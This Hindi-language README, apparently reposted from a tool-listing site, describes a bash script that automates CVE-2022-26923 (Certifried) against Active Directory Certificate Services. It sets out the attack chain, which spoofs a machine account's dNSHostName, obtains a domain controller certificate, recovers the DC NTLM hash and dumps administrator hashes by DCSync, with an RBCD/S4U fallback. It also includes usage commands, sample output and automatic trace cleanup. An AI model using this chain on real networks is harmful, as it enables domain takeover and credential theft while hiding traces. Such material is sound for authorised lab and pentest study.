CVE-2022-26923 – Certifried एक्सप्लॉइट (AD CS दुरुपयोग)

CVE-2022-26923 (Certifried) का स्वचालित दोहन, जो Active Directory Certificate Services (AD CS) के दुरुपयोग के माध्यम से विशेषाधिकार वृद्धि को सक्षम बनाता है, Resource-Based Constrained Delegation (RBCD) के लिए स्वचालित फ़ॉलबैक के साथ, अंततः एक डोमेन व्यवस्थापक खाते का NTLM हैश निकालता है।

⚠️ केवल शैक्षिक उद्देश्यों के लिए / लैब / CTF

अनधिकृत वातावरण में उपयोग न करें।

🎯 विवरण

यह स्क्रिप्ट निम्नलिखित आक्रमण श्रृंखला को स्वचालित करती है:

विधि 1 — क्लासिक (CVE प्रत्यक्ष दोहन)

1. एक नियंत्रित मशीन खाता बनाएँ (टकराव से बचने के लिए यादृच्छिक नाम)
2. डोमेन कंट्रोलर से मेल खाने के लिए dNSHostName विशेषता को स्पूफ करें
3. AD CS के माध्यम से मशीन प्रमाणपत्र का अनुरोध करें
4. प्रमाणपत्र का उपयोग करके प्रमाणीकरण करें → PKINIT के माध्यम से DC का NTLM हैश निकालें
5. DC हैश का उपयोग करके secretsdump.py के साथ DCSync आक्रमण करें

विधि 2 — फ़ॉलबैक (RBCD) (यदि विधि 1 विफल हो तो स्वचालित)

6. bloodyAD के साथ उपयोग के लिए PFX को PEM में बदलें
7. DC पर Resource-Based Constrained Delegation (RBCD) कॉन्फ़िगर करें
8. impacket-addspn के माध्यम से समझौता किए गए मशीन खाते में SPN जोड़ें
9. getST.py के साथ S4U2Self + S4U2Proxy टिकट का अनुरोध करें
10. केर्बरोस टिकट का उपयोग करके secretsdump.py के माध्यम से NTLM हैश डंप करें

🔗 भेद्यता

• CVE-2022-26923 – "Certifried" — CVSS 8.8 (उच्च)
• AD CS चलाने वाले Active Directory वातावरण को प्रभावित करता है
• एक निम्न-विशेषाधिकार वाले उपयोगकर्ता को dNSHostName विशेषता में हेरफेर करके डोमेन कंट्रोलर के रूप में प्रतिरूपण करने की अनुमति देता है, जिससे CA DC खाते के लिए प्रमाणपत्र जारी कर देता है

🛠 प्रयुक्त उपकरण

📦 निर्भरता स्थापना

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 उपयोग

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

उपलब्ध विकल्प

-d, --dc-ip     IP address of the Domain Controller
-D, --domain    Domain name (e.g. corp.local)
-u, --user      Valid domain user (UPN format: user@domain)
-p, --pass      User password
--verbose       Debug mode: display all executed commands
-h, --help      Show this help message

🧠 उदाहरण (HTB Certifried)

./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

सुझाव: चलाने से पहले, निम्न का उपयोग करके सटीक CA नाम और टेम्पलेट पहचानें:

root@kitploit:~

certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

फिर तदनुसार स्क्रिप्ट डिफ़ॉल्ट में CA_NAME और TEMPLATE अपडेट करें।

🔥 अपेक्षित आउटपुट

वातावरण के आधार पर, दो में से एक मार्ग सफल होगा:

विधि 1 (क्लासिक):

[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

विधि 2 (RBCD फ़ॉलबैक):

[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

OPSEC सफ़ाई अंत में (या Ctrl+C पर) स्वचालित रूप से चलती है:

[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 आंतरिक आक्रमण प्रवाह

Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 ज्ञात समस्याएँ और समस्या निवारण

⚠️ अस्वीकरण

यह परियोजना निम्न के लिए प्रदान की गई है:

• शैक्षिक और अनुसंधान उद्देश्यों
• व्यक्तिगत लैब वातावरण
• CTF / HackTheBox / Capture-The-Flag चुनौतियाँ
• अधिकृत पैठ परीक्षण कार्य (लिखित अनुमोदन के साथ)

लेखक इस उपकरण के किसी भी अनधिकृत या अवैध उपयोग के लिए कोई दायित्व नहीं मानता है।